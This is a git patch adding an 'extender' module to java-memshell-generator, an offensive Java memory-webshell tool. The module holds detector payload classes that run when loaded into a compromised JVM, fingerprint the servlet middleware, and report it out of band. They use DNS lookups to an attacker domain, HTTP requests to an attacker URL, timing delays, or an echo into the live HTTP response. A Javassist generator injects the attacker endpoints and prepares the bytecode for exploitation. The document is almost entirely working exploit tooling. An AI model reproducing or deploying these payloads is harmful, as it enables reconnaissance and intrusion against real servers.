From 5e4cc680006eec949cd83a61abfcd808abf0d466 Mon Sep 17 00:00:00 2001 From: pen4uin Date: Fri, 23 Aug 2024 23:47:24 +0800 Subject: [PATCH] =?UTF-8?q?add:=20=E6=89=A9=E5=B1=95=E6=A8=A1=E5=9D=97?= =?UTF-8?q?=EF=BC=88=E6=8E=A2=E6=B5=8B=E4=B8=AD=E9=97=B4=E4=BB=B6/?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96=E5=B0=81=E8=A3=85=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- jmg-extender/pom.xml | 28 ++++ .../extender/detector/DFSEchoDetector.java | 151 ++++++++++++++++++ .../jmg/extender/detector/DNSLogDetector.java | 80 ++++++++++ .../extender/detector/HTTPLogDetector.java | 86 ++++++++++ .../jmg/extender/detector/SleepDetector.java | 71 ++++++++ .../extender/generator/ExtenderGenerator.java | 64 ++++++++ .../java/jmg/extender/util/DetectorUtil.java | 33 ++++ pom.xml | 2 +- 8 files changed, 514 insertions(+), 1 deletion(-) create mode 100644 jmg-extender/pom.xml create mode 100644 jmg-extender/src/main/java/jmg/extender/detector/DFSEchoDetector.java create mode 100644 jmg-extender/src/main/java/jmg/extender/detector/DNSLogDetector.java create mode 100644 jmg-extender/src/main/java/jmg/extender/detector/HTTPLogDetector.java create mode 100644 jmg-extender/src/main/java/jmg/extender/detector/SleepDetector.java create mode 100644 jmg-extender/src/main/java/jmg/extender/generator/ExtenderGenerator.java create mode 100644 jmg-extender/src/main/java/jmg/extender/util/DetectorUtil.java diff --git a/jmg-extender/pom.xml b/jmg-extender/pom.xml new file mode 100644 index 0000000..3b31dff --- /dev/null +++ b/jmg-extender/pom.xml @@ -0,0 +1,28 @@ + + + 4.0.0 + + jmg + java-memshell-generator + ${project.build.version} + + + jmg-extender + + + 8 + 8 + UTF-8 + + + + jmg + jmg-core + ${project.build.version} + compile + + + + \ No newline at end of file diff --git a/jmg-extender/src/main/java/jmg/extender/detector/DFSEchoDetector.java b/jmg-extender/src/main/java/jmg/extender/detector/DFSEchoDetector.java new file mode 100644 index 0000000..136faf1 --- /dev/null +++ b/jmg-extender/src/main/java/jmg/extender/detector/DFSEchoDetector.java @@ -0,0 +1,151 @@ +package jmg.extender.detector; + +import java.io.PrintWriter; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashSet; +import java.util.Map; + +public class DFSEchoDetector { + static HashSet h; + static ClassLoader cl = Thread.currentThread().getContextClassLoader(); + static Class hsr;//HTTPServletRequest.class + static Class hsp;//HTTPServletResponse.class + static Object r; + static Object p; + + static { + new DFSEchoDetector(); + } + + private static String server_type = "none"; + + + public DFSEchoDetector() { + initServerType(); + r = null; + p = null; + h =new HashSet(); + try { + hsr = cl.loadClass("javax.servlet.http.HttpServletRequest"); + hsp = cl.loadClass("javax.servlet.http.HttpServletResponse"); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + } + F(Thread.currentThread(),0); + } + + private static boolean i(Object obj){ + if(obj==null|| h.contains(obj)){ + return true; + } + + h.add(obj); + return false; + } + private static void p(Object o, int depth){ + if(depth > 52||(r !=null&& p !=null)){ + return; + } + if(!i(o)){ + if(r ==null&&hsr.isAssignableFrom(o.getClass())){ + r = o; + //Tomcat特殊处理 + try { + Method getResponse = r.getClass().getMethod("getResponse"); + p = getResponse.invoke(r); + } catch (Exception e) { + r=null; + } + + }else if(p ==null&&hsp.isAssignableFrom(o.getClass())){ + p = o; + } + if(r !=null&& p !=null){ + try { + PrintWriter pw = (PrintWriter)hsp.getMethod("getWriter").invoke(p); + pw.println(server_type); + pw.flush(); + pw.close(); + + }catch (Exception e){ + } + return; + } + + F(o,depth+1); + } + } + private static void F(Object start, int depth){ + + Class n=start.getClass(); + do{ + for (Field declaredField : n.getDeclaredFields()) { + declaredField.setAccessible(true); + Object o = null; + try{ + o = declaredField.get(start); + + if(!o.getClass().isArray()){ + p(o,depth); + }else{ + for (Object q : (Object[]) o) { + p(q, depth); + } + + } + + }catch (Exception e){ + } + } + + }while( + (n = n.getSuperclass())!=null + ); + } + + public static void initServerType() { + Map stackTraces = Thread.getAllStackTraces(); + for (Map.Entry entry : stackTraces.entrySet()) { + StackTraceElement[] stackTraceElements = entry.getValue(); + for (StackTraceElement element : stackTraceElements) { + if (element.getClassName().contains("org.apache.catalina.core")) { + server_type = "tomcat"; + return; + } + if (element.getClassName().contains("weblogic.servlet.internal")) { + server_type = "weblogic"; + return; + } + if (element.getClassName().contains("com.caucho.server")) { + server_type = "resin"; + return; + } + if (element.getClassName().contains("org.eclipse.jetty.server")) { + server_type = "jetty"; + return; + } + if (element.getClassName().contains("com.ibm.ws")) { + server_type = "websphere"; + return; + } + if (element.getClassName().contains("io.undertow.server")) { + server_type = "undertow"; + return; + } + if (element.getClassName().contains("com.tongweb.web")) { + server_type = "tongweb"; + return; + } + if (element.getClassName().contains("com.apusic.web")) { + server_type = "apusic"; + return; + } + if (element.getClassName().contains("org.springframework.web")) { + server_type = "spring"; + return; + } + } + } + } +} \ No newline at end of file diff --git a/jmg-extender/src/main/java/jmg/extender/detector/DNSLogDetector.java b/jmg-extender/src/main/java/jmg/extender/detector/DNSLogDetector.java new file mode 100644 index 0000000..11d2cd5 --- /dev/null +++ b/jmg-extender/src/main/java/jmg/extender/detector/DNSLogDetector.java @@ -0,0 +1,80 @@ +package jmg.extender.detector; + +import java.net.InetAddress; +import java.net.UnknownHostException; +import java.util.ArrayList; +import java.util.Map; + +public class DNSLogDetector { + + static { + new DNSLogDetector(); + } + + public DNSLogDetector(){ + sendServerType(); + } + + public static String getDomain(){ + return ""; + } + + private static void sendServerType() { + ArrayList serverTypes = getServerType(); + String dns_domain = getDomain(); + String domain = ""; + try { + for (int i = 0; i < serverTypes.size(); i++) { + Object obj = serverTypes.get(i); + domain = String.format("%s.%d.%s",obj,System.nanoTime(),dns_domain); + InetAddress.getAllByName(domain); + } + } catch (UnknownHostException e) { } + } + + public static ArrayList getServerType() { + ArrayList serverTypes = new ArrayList<>(); + Map stackTraces = Thread.getAllStackTraces(); + for (Map.Entry entry : stackTraces.entrySet()) { + StackTraceElement[] stackTraceElements = entry.getValue(); + for (StackTraceElement element : stackTraceElements) { + if (element.getClassName().contains("org.apache.catalina.core")) { + serverTypes.add("tomcat"); + } + if (element.getClassName().contains("weblogic.servlet.internal")) { + serverTypes.add("weblogic"); + } + if (element.getClassName().contains("com.caucho.server")) { + serverTypes.add("resin"); + } + if (element.getClassName().contains("org.eclipse.jetty.server")) { + serverTypes.add("jetty"); + } + if (element.getClassName().contains("com.ibm.ws")) { + serverTypes.add("websphere"); + } + if (element.getClassName().contains("io.undertow.server")) { + serverTypes.add("undertow"); + } + if (element.getClassName().contains("com.tongweb.web")) { + serverTypes.add("tongweb"); + } + if (element.getClassName().contains("com.apusic.web")) { + serverTypes.add("apusic"); + } + if (element.getClassName().contains("org.springframework.web")) { + serverTypes.add("spring"); + } + } + if (serverTypes.size() > 7){ + return serverTypes; + } + } + + if(serverTypes.size() == 0){ + serverTypes.add("none"); + } + + return serverTypes; + } +} diff --git a/jmg-extender/src/main/java/jmg/extender/detector/HTTPLogDetector.java b/jmg-extender/src/main/java/jmg/extender/detector/HTTPLogDetector.java new file mode 100644 index 0000000..0e09e42 --- /dev/null +++ b/jmg-extender/src/main/java/jmg/extender/detector/HTTPLogDetector.java @@ -0,0 +1,86 @@ +package jmg.extender.detector; + +import java.io.IOException; +import java.net.UnknownHostException; +import java.util.ArrayList; +import java.util.Map; + + +public class HTTPLogDetector { + + static { + new HTTPLogDetector(); + } + + + public HTTPLogDetector() { + sendServerType(); + } + + public static String getBaseURL() { + return ""; + } + + + private static void sendServerType() { + ArrayList serverTypes = getServerType(); + String baseurl = getBaseURL(); + try { + for (int i = 0; i < serverTypes.size(); i++) { + Object server_type = serverTypes.get(i); + String tmpUrl = String.format("%s/%s", baseurl, server_type); + new java.net.URL(tmpUrl).getContent(); + } + } catch (UnknownHostException ignored) { + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + + public static ArrayList getServerType() { + ArrayList serverTypes = new ArrayList<>(); + Map stackTraces = Thread.getAllStackTraces(); + for (Map.Entry entry : stackTraces.entrySet()) { + StackTraceElement[] stackTraceElements = entry.getValue(); + for (StackTraceElement element : stackTraceElements) { + if (element.getClassName().contains("org.apache.catalina.core")) { + serverTypes.add("tomcat"); + } + if (element.getClassName().contains("weblogic.servlet.internal")) { + serverTypes.add("weblogic"); + } + if (element.getClassName().contains("com.caucho.server")) { + serverTypes.add("resin"); + } + if (element.getClassName().contains("org.eclipse.jetty.server")) { + serverTypes.add("jetty"); + } + if (element.getClassName().contains("com.ibm.ws")) { + serverTypes.add("websphere"); + } + if (element.getClassName().contains("io.undertow.server")) { + serverTypes.add("undertow"); + } + if (element.getClassName().contains("com.tongweb.web")) { + serverTypes.add("tongweb"); + } + if (element.getClassName().contains("com.apusic.web")) { + serverTypes.add("apusic"); + } + if (element.getClassName().contains("org.springframework.web")) { + serverTypes.add("spring"); + } + } + if (serverTypes.size() > 7){ + return serverTypes; + } + } + + if(serverTypes.size() == 0){ + serverTypes.add("none"); + } + + return serverTypes; + } +} diff --git a/jmg-extender/src/main/java/jmg/extender/detector/SleepDetector.java b/jmg-extender/src/main/java/jmg/extender/detector/SleepDetector.java new file mode 100644 index 0000000..2c67a88 --- /dev/null +++ b/jmg-extender/src/main/java/jmg/extender/detector/SleepDetector.java @@ -0,0 +1,71 @@ +package jmg.extender.detector; + +import java.util.Map; + +public class SleepDetector { + + static { + new SleepDetector(); + } + + public SleepDetector() { + initServerType(); + } + + public static String getServerType() { + return "tomcat"; + } + + private static void execSleep() { + try { + Thread.sleep(5000); + } catch (Exception e) { + } + } + + public static void initServerType() { + String target_server_type = getServerType(); + Map stackTraces = Thread.getAllStackTraces(); + for (Map.Entry entry : stackTraces.entrySet()) { + StackTraceElement[] stackTraceElements = entry.getValue(); + for (StackTraceElement element : stackTraceElements) { + if (target_server_type.equals("tomcat") && element.getClassName().contains("org.apache.catalina.core")) { + execSleep(); + return; + } + if (target_server_type.equals("weblogic") && element.getClassName().contains("weblogic.servlet.internal")) { + execSleep(); + return; + } + if (target_server_type.equals("resin") && element.getClassName().contains("com.caucho.server")) { + execSleep(); + return; + } + if (target_server_type.equals("jetty") && element.getClassName().contains("org.eclipse.jetty.server")) { + execSleep(); + return; + } + if (target_server_type.equals("websphere") && element.getClassName().contains("com.ibm.ws")) { + execSleep(); + return; + } + if (target_server_type.equals("undertow") && element.getClassName().contains("io.undertow.server")) { + execSleep(); + return; + } + if (target_server_type.equals("tongweb") && element.getClassName().contains("com.tongweb.web")) { + execSleep(); + return; + } + if (target_server_type.equals("apusic") && element.getClassName().contains("com.apusic.web")) { + execSleep(); + return; + } + if (target_server_type.equals("spring") && element.getClassName().contains("org.springframework.web")) { + execSleep(); + return; + } + } + } + } +} diff --git a/jmg-extender/src/main/java/jmg/extender/generator/ExtenderGenerator.java b/jmg-extender/src/main/java/jmg/extender/generator/ExtenderGenerator.java new file mode 100644 index 0000000..0f3601b --- /dev/null +++ b/jmg-extender/src/main/java/jmg/extender/generator/ExtenderGenerator.java @@ -0,0 +1,64 @@ +package jmg.extender.generator; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.util.CtClassUtil; +import jmg.core.util.JavassistUtil; +import jmg.extender.util.DetectorUtil; + +/** + * 中间件/框架探测器 + */ +public class ExtenderGenerator { + + public byte[] makeShell(AbstractConfig config) throws Exception { + String detectorClassName = DetectorUtil.getDetectorClassName(config.getDetectWay()); + byte[] bytes = Utils.generate(detectorClassName, config); + config.setExtenderBytes(bytes); + config.setExtenderBytesLength(bytes.length); + return bytes; + } + + + public static class Utils { + @SuppressWarnings("unchecked") + private final static ClassPool pool = ClassPool.getDefault(); + private static byte[] bytes; + + public static byte[] generate(String detectorClassName, AbstractConfig config) throws Exception { + pool.insertClassPath(new ClassClassPath(ExtenderGenerator.class)); + CtClass ctClass = pool.getCtClass(detectorClassName); + JavassistUtil.setNameIfNotNull(ctClass, config.getExtenderClassName()); + if (config.getDetectWay().contains(Constants.DETECT_DNS)) { + if (config.getDnsDomain() != null) { + CtMethod getDomain = ctClass.getDeclaredMethod("getDomain"); + getDomain.setBody(String.format("{return \"%s\";}", config.getDnsDomain())); + } + } else if (config.getDetectWay().contains(Constants.DETECT_HTTP)) { + if (config.getDnsDomain() != null) { + CtMethod getBaseURL = ctClass.getDeclaredMethod("getBaseURL"); + getBaseURL.setBody(String.format("{return \"%s\";}", config.getBaseUrl())); + } + } else if (config.getDetectWay().contains(Constants.DETECT_SLEEP)) { + if (config.getSleepTime() != null) { + CtMethod getSeconds = ctClass.getDeclaredMethod("execSleep"); + getSeconds.setBody(String.format("try{java.lang.Thread.sleep(%sL);}catch (Exception e){}", Integer.valueOf(config.getSleepTime()) * 1000)); + } + if (config.getServerType() != null) { + CtMethod getServerType = ctClass.getDeclaredMethod("getServerType"); + getServerType.setBody(String.format("{return \"%s\";}", config.getServerType().toLowerCase())); + } + } + JavassistUtil.setNameIfNotNull(ctClass, config.getExtenderClassName()); + JavassistUtil.removeSourceFileAttribute(ctClass); + bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation(); + ctClass.detach(); + + return bytes; + } + } +} diff --git a/jmg-extender/src/main/java/jmg/extender/util/DetectorUtil.java b/jmg-extender/src/main/java/jmg/extender/util/DetectorUtil.java new file mode 100644 index 0000000..6da0c68 --- /dev/null +++ b/jmg-extender/src/main/java/jmg/extender/util/DetectorUtil.java @@ -0,0 +1,33 @@ +package jmg.extender.util; + +import jmg.core.config.Constants; +import jmg.extender.detector.DFSEchoDetector; +import jmg.extender.detector.DNSLogDetector; +import jmg.extender.detector.HTTPLogDetector; +import jmg.extender.detector.SleepDetector; + +import java.util.HashMap; +import java.util.Map; + +public class DetectorUtil { + + private static final Map DETECTOR_CLASSNAME_MAP = new HashMap(); + + public DetectorUtil() { + } + + public static String getDetectorClassName(String detectWay) throws Exception { + if (DETECTOR_CLASSNAME_MAP.get(detectWay) == null) { + throw new Exception("Invalid detect way '" + detectWay + "'"); + } else { + return DETECTOR_CLASSNAME_MAP.getOrDefault(detectWay, ""); + } + } + + static { + DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_DFSECHO, DFSEchoDetector.class.getName()); + DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_DNS, DNSLogDetector.class.getName()); + DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_HTTP, HTTPLogDetector.class.getName()); + DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_SLEEP, SleepDetector.class.getName()); + } +} diff --git a/pom.xml b/pom.xml index 986ea2f..ec6156b 100644 --- a/pom.xml +++ b/pom.xml @@ -15,8 +15,8 @@ jmg-gui jmg-neoregeorg jmg-suo5 + jmg-extender -